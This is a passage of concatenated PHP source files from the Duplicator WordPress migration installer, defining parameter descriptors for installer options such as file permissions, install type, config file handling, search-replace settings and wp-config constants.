); $params[PrmMng::PARAM_DEBUG_PARAMS] = new ParamItem( PrmMng::PARAM_DEBUG_PARAMS, ParamItem::TYPE_BOOL, array( 'persistence' => true, 'default' => false ) ); $params[PrmMng::PARAM_CTRL_ACTION] = new ParamItem( PrmMng::PARAM_CTRL_ACTION, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_HIDDEN, array( 'persistence' => false, 'default' => '', 'acceptValues' => array( '', 'ajax', 'secure', 'ctrl-step1', 'ctrl-step2', 'ctrl-step3', 'ctrl-step4', 'help' )) ); $params[PrmMng::PARAM_STEP_ACTION] = new ParamItem( PrmMng::PARAM_STEP_ACTION, ParamForm::TYPE_STRING, array( 'persistence' => false, 'default' => '', 'acceptValues' => array( '', \DUPX_CTRL::ACTION_STEP_INIZIALIZED, \DUPX_CTRL::ACTION_STEP_ON_VALIDATE, \DUPX_CTRL::ACTION_STEP_SET_TEMPLATE )) ); $params[\DUPX_Security::CTRL_TOKEN] = new ParamItem( \DUPX_Security::CTRL_TOKEN, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_HIDDEN, array( 'persistence' => false, 'default' => null, 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewline') ) ); $params[PrmMng::PARAM_ROUTER_ACTION] = new ParamItem( PrmMng::PARAM_ROUTER_ACTION, ParamItem::TYPE_STRING, array( 'persistence' => false, 'default' => 'router', 'acceptValues' => array( 'router' )) ); $params[PrmMng::PARAM_TEMPLATE] = new ParamItem( PrmMng::PARAM_TEMPLATE, ParamForm::TYPE_STRING, array( 'default' => \DUPX_Template::TEMPLATE_BASE, 'acceptValues' => array( \DUPX_Template::TEMPLATE_BASE, \DUPX_Template::TEMPLATE_ADVANCED, \DUPX_Template::TEMPLATE_IMPORT_BASE, \DUPX_Template::TEMPLATE_IMPORT_ADVANCED )) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { } } Params/Descriptors/DescriptorInterface.php 0000644 00000001257 15136236440 0014751 0 ustar 00 <?php /** * Installer params manager * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\Items\ParamForm; interface DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params); /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params); } Params/Descriptors/ParamDescGeneric.php 0000644 00000026071 15136236440 0014147 0 ustar 00 <?php /** * Generic params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Items\ParamOption; use Duplicator\Installer\Core\Params\Items\ParamFormPass; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapOS; use DUPX_ArchiveConfig; use DUPX_InstallerState; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescGeneric implements DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $newObj = new ParamForm( PrmMng::PARAM_FILE_PERMS_VALUE, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => '644', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateRegex' => '/^[ugorwx,\s\+\-0-7]+$/' // octal + ugo rwx, ), array( 'label' => 'File permissions', 'renderLabel' => false, 'status' => SnapOS::isWindows() ? ParamForm::STATUS_SKIP : ParamForm::STATUS_ENABLED, 'wrapperClasses' => array('display-inline-block') ) ); $params[PrmMng::PARAM_FILE_PERMS_VALUE] = $newObj; $permItemId = $newObj->getFormItemId(); $params[PrmMng::PARAM_SET_FILE_PERMS] = new ParamForm( PrmMng::PARAM_SET_FILE_PERMS, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_SWITCH, array( 'default' => !SnapOS::isWindows() ), array( 'status' => SnapOS::isWindows() ? ParamForm::STATUS_SKIP : ParamForm::STATUS_ENABLED, 'label' => 'File permissions:', 'checkboxLabel' => 'All files', 'wrapperClasses' => array('display-inline-block'), 'attr' => array( 'onclick' => "jQuery('#" . $permItemId . "').prop('disabled', !jQuery(this).is(':checked'));" ) ) ); $newObj = new ParamForm( PrmMng::PARAM_DIR_PERMS_VALUE, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => '755', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateRegex' => '/^[ugorwx,\s\+\-0-7]+$/' // octal + ugo rwx ), array( 'label' => 'Folder permissions', 'renderLabel' => false, 'status' => SnapOS::isWindows() ? ParamForm::STATUS_SKIP : ParamForm::STATUS_ENABLED, 'wrapperClasses' => array('display-inline-block') ) ); $params[PrmMng::PARAM_DIR_PERMS_VALUE] = $newObj; $permItemId = $newObj->getFormItemId(); $params[PrmMng::PARAM_SET_DIR_PERMS] = new ParamForm( PrmMng::PARAM_SET_DIR_PERMS, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_SWITCH, array( 'default' => !SnapOS::isWindows() ), array( 'status' => SnapOS::isWindows() ? ParamForm::STATUS_SKIP : ParamForm::STATUS_ENABLED, 'label' => 'Dir permissions:', 'checkboxLabel' => 'All Directories', 'wrapperClasses' => array('display-inline-block'), 'attr' => array( 'onclick' => "jQuery('#" . $permItemId . "').prop('disabled', !jQuery(this).is(':checked'));" ) ) ); $params[PrmMng::PARAM_SAFE_MODE] = new ParamForm( PrmMng::PARAM_SAFE_MODE, ParamForm::TYPE_INT, ParamForm::FORM_TYPE_SELECT, array( 'default' => 0, 'acceptValues' => array(0, 1, 2) ), array( 'label' => 'Safe Mode:', 'status' => function (ParamItem $paramObj) { if (DUPX_InstallerState::isRestoreBackup()) { return ParamForm::STATUS_DISABLED; } else { return ParamForm::STATUS_ENABLED; } }, 'options' => array( new ParamOption(0, 'Disabled'), new ParamOption(1, 'Enabled') ), 'attr' => array( 'onchange' => 'DUPX.onSafeModeSwitch();' ) ) ); $params[PrmMng::PARAM_FILE_TIME] = new ParamForm( PrmMng::PARAM_FILE_TIME, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_RADIO, array( 'default' => 'current', 'acceptValues' => array( 'current', 'original' ) ), array( 'label' => 'File Times:', 'status' => ParamForm::STATUS_ENABLED, 'options' => array( new ParamOption('current', 'Current', ParamOption::OPT_ENABLED, array('title' => 'Set the files current date time to now')), new ParamOption('original', 'Original', ParamOption::OPT_ENABLED, array('title' => 'Keep the files date time the same')) ), 'subNote' => 'This option is not supported for extraction mode Shell Exec Unzip' ) ); $params[PrmMng::PARAM_LOGGING] = new ParamForm( PrmMng::PARAM_LOGGING, ParamForm::TYPE_INT, ParamForm::FORM_TYPE_RADIO, array( 'default' => Log::LV_DEFAULT, 'acceptValues' => array( Log::LV_DEFAULT, Log::LV_DETAILED, Log::LV_DEBUG, Log::LV_HARD_DEBUG, ) ), array( 'label' => 'Logging:', 'options' => array( new ParamOption(Log::LV_DEFAULT, 'Light'), new ParamOption(Log::LV_DETAILED, 'Detailed'), new ParamOption(Log::LV_DEBUG, 'Debug'), // enabled only with overwrite params new ParamOption(Log::LV_HARD_DEBUG, 'Hard debug', ParamOption::OPT_HIDDEN) ) ) ); $params[PrmMng::PARAM_REMOVE_RENDUNDANT] = new ParamForm( PrmMng::PARAM_REMOVE_RENDUNDANT, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => false ), array( 'label' => 'Cleanup:', 'checkboxLabel' => 'Remove disabled plugins/themes (Pro)', 'status' => ParamForm::STATUS_DISABLED, 'proFlagTitle' => 'Upgrade Features', 'proFlag' => '<p>Improve the install cleanup and automation of additional tasks with these cleanup options that are available ' . 'in Duplicator Pro.</p>' ) ); $params[PrmMng::PARAM_REMOVE_USERS_WITHOUT_PERMISSIONS] = new ParamForm( PrmMng::PARAM_REMOVE_USERS_WITHOUT_PERMISSIONS, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => false ), array( 'label' => ' ', 'checkboxLabel' => 'Remove users without permissions (Pro)', 'status' => ParamForm::STATUS_DISABLED ) ); $params[PrmMng::PARAM_RECOVERY_LINK] = new ParamItem( PrmMng::PARAM_RECOVERY_LINK, ParamFormPass::TYPE_STRING, array( 'default' => '' ) ); $params[PrmMng::PARAM_FROM_SITE_IMPORT_INFO] = new ParamItem( PrmMng::PARAM_FROM_SITE_IMPORT_INFO, ParamFormPass::TYPE_ARRAY_MIXED, array( 'default' => array() ) ); $params[PrmMng::PARAM_AUTO_CLEAN_INSTALLER_FILES] = new ParamForm( PrmMng::PARAM_AUTO_CLEAN_INSTALLER_FILES, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => true ), array( 'label' => 'CLean installation files', 'renderLabel' => false, 'checkboxLabel' => 'Auto delete installer files after login to secure site (recommended!)' ) ); $params[PrmMng::PARAM_SUBSCRIBE_EMAIL] = new ParamForm( PrmMng::PARAM_SUBSCRIBE_EMAIL, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array(// ITEM ATTRIBUTES 'default' => '', 'validateCallback' => function ($value, ParamItem $paramObj) { if (strlen($value) < 4) { $paramObj->setInvalidMessage('Email name must have 4 or more characters'); return false; } if (filter_var($value, FILTER_VALIDATE_EMAIL) == false) { $paramObj->setInvalidMessage('Email "' . $value . '" isn\'t valid'); return false; } return true; } ), array(// FORM ATTRIBUTES 'label' => 'Subscribe to our newsletter:', 'renderLabel' => false, 'wrapperClasses' => array('subscribe-form'), 'attr' => array( 'placeholder' => 'Email Address' ), 'subNote' => 'Get tips and product updates straight to your inbox.', 'status' => function ($paramObj) { if ($paramObj->getValue() !== '') { return ParamForm::STATUS_SKIP; } return ParamForm::STATUS_ENABLED; }, 'postfix' => array('type' => 'button', 'label' => 'Subscribe', 'btnAction' => 'DUPX.submitEmail(this);') ) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { } } Params/Descriptors/ParamDescPlugins.php 0000644 00000005176 15136236440 0014217 0 ustar 00 <?php /** * Plugins params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Items\ParamFormPlugins; use Duplicator\Libs\Snap\SnapUtil; use DUPX_InstallerState; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescPlugins implements DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $params[PrmMng::PARAM_PLUGINS] = new ParamFormPlugins( PrmMng::PARAM_PLUGINS, ParamFormPlugins::TYPE_ARRAY_STRING, ParamFormPlugins::FORM_TYPE_PLUGINS_SELECT, array( 'default' => array(), 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewline') ), array( 'label' => 'Plugins', 'renderLabel' => false, 'status' => function ($paramObj) { if ( DUPX_InstallerState::isRestoreBackup() ) { return ParamForm::STATUS_DISABLED; } else { return ParamForm::STATUS_ENABLED; } } ) ); $params[PrmMng::PARAM_IGNORE_PLUGINS] = new ParamItem( PrmMng::PARAM_IGNORE_PLUGINS, ParamItem::TYPE_ARRAY_STRING, array( 'default' => array(), 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewline'), ) ); $params[PrmMng::PARAM_FORCE_DIABLE_PLUGINS] = new ParamItem( PrmMng::PARAM_FORCE_DIABLE_PLUGINS, ParamItem::TYPE_ARRAY_STRING, array( 'default' => array(), 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewline'), ) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { } } Params/Descriptors/ParamDescConfigs.php 0000644 00000027462 15136236440 0014170 0 ustar 00 <?php /** * Configs(htaccess, wp-config ...) params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Items\ParamOption; use Duplicator\Installer\Utils\Log\Log; use DUPX_InstallerState; use DUPX_Template; use DUPX_TemplateItem; use Exception; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescConfigs implements DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $params[PrmMng::PARAM_INST_TYPE] = new ParamForm( PrmMng::PARAM_INST_TYPE, ParamForm::TYPE_INT, ParamForm::FORM_TYPE_RADIO, array( 'default' => DUPX_InstallerState::INSTALL_NOT_SET, 'acceptValues' => array(__CLASS__, 'getInstallTypesAcceptValues') ), array( 'status' => ParamForm::STATUS_ENABLED, 'label' => 'Install Type:', 'wrapperClasses' => array('group-block', 'revalidate-on-change'), 'options' => self::getInstallTypeOptions(), // Temporarly diabled for inital release 1.5 // 'proFlagTitle' => 'Upgrade Features', // 'proFlag' => 'Improve the install experiance with support for these popular install modes:' // . '<ul class="pro-tip-flag">' . // '<li>Full Multisite Support</li>' . // '<li>Install from Remote Server</li>' . // '<li>Restore from Recovery Point</li>' . // '</ul>' ) ); $params[PrmMng::PARAM_WP_CONFIG] = new ParamForm( PrmMng::PARAM_WP_CONFIG, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => 'modify', 'acceptValues' => array( 'modify', 'nothing', 'new' ) ), array( 'label' => 'WordPress:', 'wrapperClasses' => 'medium', 'status' => function (ParamItem $paramObj) { if ( DUPX_InstallerState::isRestoreBackup() ) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } }, 'options' => array( new ParamOption('nothing', 'Do nothing'), new ParamOption('modify', 'Modify original'), new ParamOption('new', 'Create new from wp-config sample') ), 'subNote' => 'wp-config.php' ) ); $params[PrmMng::PARAM_HTACCESS_CONFIG] = new ParamForm( PrmMng::PARAM_HTACCESS_CONFIG, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => 'new', 'acceptValues' => array( 'new', 'original', 'nothing' ) ), array( 'label' => 'Apache:', 'wrapperClasses' => 'medium', 'status' => function (ParamItem $paramObj) { if ( DUPX_InstallerState::isRestoreBackup() ) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } }, 'options' => array( new ParamOption('nothing', 'Do nothing'), new ParamOption('original', 'Retain original from Archive.zip/daf'), new ParamOption('new', 'Create new (recommended)') ), 'subNote' => '.htaccess' ) ); $params[PrmMng::PARAM_OTHER_CONFIG] = new ParamForm( PrmMng::PARAM_OTHER_CONFIG, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => 'new', 'acceptValues' => array( 'new', 'original', 'nothing' ) ), array( 'label' => 'General:', 'wrapperClasses' => 'medium', 'status' => function (ParamItem $paramObj) { if ( DUPX_InstallerState::isRestoreBackup() ) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } }, 'options' => array( new ParamOption('nothing', 'Do nothing'), new ParamOption('original', 'Retain original from Archive.zip/daf'), new ParamOption('new', 'Reset') ), 'subNote' => 'includes: php.ini, .user.ini, web.config' ) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { $installType = $params[PrmMng::PARAM_INST_TYPE]->getValue(); if ($installType == DUPX_InstallerState::INSTALL_NOT_SET) { $acceptValues = $params[PrmMng::PARAM_INST_TYPE]->getAcceptValues(); $params[PrmMng::PARAM_INST_TYPE]->setValue(self::getInstTypeByPriority($acceptValues)); } $installType = $params[PrmMng::PARAM_INST_TYPE]->getValue(); if (DUPX_InstallerState::isRestoreBackup($installType)) { if (\DUPX_Custom_Host_Manager::getInstance()->isManaged()) { $params[PrmMng::PARAM_WP_CONFIG]->setValue('nothing'); $params[PrmMng::PARAM_HTACCESS_CONFIG]->setValue('nothing'); $params[PrmMng::PARAM_OTHER_CONFIG]->setValue('nothing'); } else { $params[PrmMng::PARAM_WP_CONFIG]->setValue('modify'); $params[PrmMng::PARAM_HTACCESS_CONFIG]->setValue('original'); $params[PrmMng::PARAM_OTHER_CONFIG]->setValue('original'); } } } /** * Return default install type from install types enabled * * @param int[] $acceptValues install types enabled * * @return int */ protected static function getInstTypeByPriority($acceptValues) { $defaultPriority = array( DUPX_InstallerState::INSTALL_RBACKUP_SINGLE_SITE, DUPX_InstallerState::INSTALL_SINGLE_SITE ); foreach ($defaultPriority as $current) { if (in_array($current, $acceptValues)) { return $current; } } throw new Exception('No default value found on proprity list'); } /** * * @return ParamOption[] */ protected static function getInstallTypeOptions() { $result = array(); $option = new ParamOption( DUPX_InstallerState::INSTALL_RBACKUP_SINGLE_SITE, 'Restore single site', array(__CLASS__, 'typeOptionsVisibility') ); $result[] = $option; $option = new ParamOption( DUPX_InstallerState::INSTALL_SINGLE_SITE, '<b>Full</b> install single site', array(__CLASS__, 'typeOptionsVisibility') ); $result[] = $option; $option = new ParamOption( DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBDOMAIN, '<b>Import</b> single site into multisite network', array(__CLASS__, 'typeOptionsVisibility') ); $result[] = $option; $option = new ParamOption( DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBFOLDER, '<b>Import</b> single site into multisite network', array(__CLASS__, 'typeOptionsVisibility') ); $result[] = $option; return $result; } /** * Return option type status * * @param ParamOption $option install type option * * @return string option status */ public static function typeOptionsVisibility(ParamOption $option) { $archiveConfig = \DUPX_ArchiveConfig::getInstance(); $overwriteData = PrmMng::getInstance()->getValue(PrmMng::PARAM_OVERWRITE_SITE_DATA); $isOwrMode = PrmMng::getInstance()->getValue(PrmMng::PARAM_INSTALLER_MODE) === DUPX_InstallerState::MODE_OVR_INSTALL; switch ($option->value) { case DUPX_InstallerState::INSTALL_SINGLE_SITE: if ($archiveConfig->mu_mode != 0) { return ParamOption::OPT_HIDDEN; } break; case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBDOMAIN: if (!$isOwrMode || !$overwriteData['isMultisite'] || !$overwriteData['subdomain']) { return ParamOption::OPT_HIDDEN; } break; case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBFOLDER: if (!$isOwrMode || !$overwriteData['isMultisite'] || $overwriteData['subdomain']) { return ParamOption::OPT_HIDDEN; } break; case DUPX_InstallerState::INSTALL_RBACKUP_SINGLE_SITE: if ($archiveConfig->mu_mode != 0 || !DUPX_InstallerState::isInstallerCreatedInThisLocation()) { return ParamOption::OPT_HIDDEN; } break; case DUPX_InstallerState::INSTALL_NOT_SET: default: throw new Exception('Install type not valid ' . $option->value); } $acceptValues = self::getInstallTypesAcceptValues(); return in_array($option->value, $acceptValues) ? ParamOption::OPT_ENABLED : ParamOption::OPT_DISABLED; } /** * * @return int[] */ public static function getInstallTypesAcceptValues() { $acceptValues = array(); $isSameLocation = DUPX_InstallerState::isInstallerCreatedInThisLocation(); $acceptValues[] = DUPX_InstallerState::INSTALL_SINGLE_SITE; if ($isSameLocation) { $acceptValues[] = DUPX_InstallerState::INSTALL_RBACKUP_SINGLE_SITE; } return $acceptValues; } /** * Return install type option note * * @param ParamOption $option install type option * * @return string */ public static function getInstallTypesNotes(ParamOption $option) { switch ($option->value) { case DUPX_InstallerState::INSTALL_SINGLE_SITE: return ''; case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBDOMAIN: case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBFOLDER: return ''; case DUPX_InstallerState::INSTALL_RBACKUP_SINGLE_SITE: case DUPX_InstallerState::INSTALL_NOT_SET: default: throw new Exception('Install type not valid ' . $option->value); } } } Params/Descriptors/ParamDescReplace.php 0000644 00000007643 15136236440 0014152 0 ustar 00 <?php /** * Replace params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Libs\Snap\SnapUtil; use DUPX_InstallerState; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescReplace implements DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $params[PrmMng::PARAM_BLOGNAME] = new ParamForm( PrmMng::PARAM_BLOGNAME, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => '', 'sanitizeCallback' => function ($value) { $value = SnapUtil::sanitizeNSCharsNewline($value); return htmlspecialchars_decode((empty($value) ? 'No Blog Title Set' : $value), ENT_QUOTES); } ), array( 'label' => 'Site Title:', 'status' => function ($paramObj) { if (DUPX_InstallerState::isRestoreBackup()) { return ParamForm::STATUS_DISABLED; } else { return ParamForm::STATUS_ENABLED; } }, 'wrapperClasses' => array('revalidate-on-change'), ) ); $params[PrmMng::PARAM_EMAIL_REPLACE] = new ParamForm( PrmMng::PARAM_EMAIL_REPLACE, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => false ), array( 'label' => 'Email Domains:', 'checkboxLabel' => 'Update' ) ); $params[PrmMng::PARAM_FULL_SEARCH] = new ParamForm( PrmMng::PARAM_FULL_SEARCH, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => false ), array( 'label' => 'Database Search:', 'checkboxLabel' => 'Full Search Mode' ) ); $params[PrmMng::PARAM_POSTGUID] = new ParamForm( PrmMng::PARAM_POSTGUID, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => false ), array( 'label' => 'Post GUID:', 'checkboxLabel' => 'Keep Unchanged' ) ); $params[PrmMng::PARAM_MAX_SERIALIZE_CHECK] = new ParamForm( PrmMng::PARAM_MAX_SERIALIZE_CHECK, ParamForm::TYPE_INT, ParamForm::FORM_TYPE_NUMBER, array( 'default' => \DUPX_Constants::DEFAULT_MAX_STRLEN_SERIALIZED_CHECK_IN_M ), array( 'min' => 0, 'max' => 99, 'step' => 1, 'wrapperClasses' => array('small'), 'label' => 'Serialized Max Size:', 'postfix' => array('type' => 'label', 'label' => 'MB'), 'subNote' => 'If the serialized object stored in the database exceeds this size, it will not be parsed for replacement.' . '<br><b>Too large a size in low memory installations can generate a fatal error.</b>' ) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { } } Params/Descriptors/ParamDescWpConfig.php 0000644 00000072025 15136236440 0014307 0 ustar 00 <?php /** * WP-config params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Items\ParamOption; use Duplicator\Installer\Core\Params\Items\ParamFormWpConfig; use Duplicator\Libs\Snap\SnapUtil; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapDB; use DUPX_ArchiveConfig; use DUPX_InstallerState; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescWpConfig implements DescriptorInterface { const NOTICE_ID_WP_CONF_PARAM_PATHS_EMPTY = 'wp_conf_param_paths_empty_to_validate'; const NOTICE_ID_WP_CONF_FORCE_SSL_ADMIN = 'wp_conf_disabled_force_ssl_admin'; const NOTICE_ID_WP_CONF_PARAM_DOMAINS_MODIFIED = 'wp_conf_param_domains_empty_to_validate'; /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $archiveConfig = \DUPX_ArchiveConfig::getInstance(); $params[PrmMng::PARAM_GEN_WP_AUTH_KEY] = new ParamForm( PrmMng::PARAM_GEN_WP_AUTH_KEY, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => false ), array( 'label' => 'Auth Keys:', 'checkboxLabel' => 'Generate New Unique Authentication Keys and Salts', 'status' => ParamForm::STATUS_INFO_ONLY ) ); $params[PrmMng::PARAM_WP_CONF_DISALLOW_FILE_EDIT] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_DISALLOW_FILE_EDIT, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue( 'DISALLOW_FILE_EDIT' ) ), array( 'label' => 'DISALLOW_FILE_EDIT:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Disable the Plugin/Theme Editor' ) ); $params[PrmMng::PARAM_WP_CONF_DISALLOW_FILE_MODS] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_DISALLOW_FILE_MODS, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue( 'DISALLOW_FILE_MODS', array( 'value' => false, 'inWpConfig' => false ) ) ), array( 'label' => 'DISALLOW_FILE_MODS:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'This will block users being able to use the plugin and theme installation/update ' . 'functionality from the WordPress admin area' ) ); $params[PrmMng::PARAM_WP_CONF_AUTOSAVE_INTERVAL] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_AUTOSAVE_INTERVAL, ParamForm::TYPE_INT, ParamForm::FORM_TYPE_NUMBER, array( // ITEM ATTRIBUTES 'default' => $archiveConfig->getDefineArrayValue( 'AUTOSAVE_INTERVAL', array( 'value' => 60, 'inWpConfig' => false ) ) ), array( // FORM ATTRIBUTES 'label' => 'AUTOSAVE_INTERVAL:', 'status' => ParamForm::STATUS_INFO_ONLY, ) ); $params[PrmMng::PARAM_WP_CONF_WP_POST_REVISIONS] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_POST_REVISIONS, ParamForm::TYPE_INT, ParamForm::FORM_TYPE_NUMBER, array( // ITEM ATTRIBUTES 'default' => $archiveConfig->getDefineArrayValue( 'WP_POST_REVISIONS', array( 'value' => true, 'inWpConfig' => false ) ), ), array( // FORM ATTRIBUTES 'label' => 'WP_POST_REVISIONS:', 'status' => ParamForm::STATUS_INFO_ONLY, ) ); $params[PrmMng::PARAM_WP_CONF_FORCE_SSL_ADMIN] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_FORCE_SSL_ADMIN, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => self::getDefaultForceSSLAdminConfig(), ), array( 'label' => 'FORCE_SSL_ADMIN:', 'checkboxLabel' => 'Enforce Admin SSL' ) ); $params[PrmMng::PARAM_WP_CONF_AUTOMATIC_UPDATER_DISABLED] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_AUTOMATIC_UPDATER_DISABLED, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue( 'AUTOMATIC_UPDATER_DISABLED', array( 'value' => false, 'inWpConfig' => false ) ) ), array( 'label' => 'AUTOMATIC_UPDATER_DISABLED:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Disable automatic updater' ) ); $autoUpdateValue = $archiveConfig->getWpConfigDefineValue('WP_AUTO_UPDATE_CORE'); if (is_bool($autoUpdateValue)) { $autoUpdateValue = ($autoUpdateValue ? 'true' : 'false'); } $params[PrmMng::PARAM_WP_CONF_WP_AUTO_UPDATE_CORE] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_AUTO_UPDATE_CORE, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => array( 'value' => $autoUpdateValue, 'inWpConfig' => $archiveConfig->inWpConfigDefine('WP_AUTO_UPDATE_CORE') ), 'acceptValues' => array('', 'false', 'true', 'minor') ), array( 'label' => 'WP_AUTO_UPDATE_CORE:', 'status' => ParamForm::STATUS_INFO_ONLY, 'options' => array( new ParamOption('minor', 'Enable only core minor updates - Default'), new ParamOption('false', 'Disable all core updates'), new ParamOption('true', 'Enable all core updates') ) ) ); $params[PrmMng::PARAM_WP_CONF_IMAGE_EDIT_OVERWRITE] = new 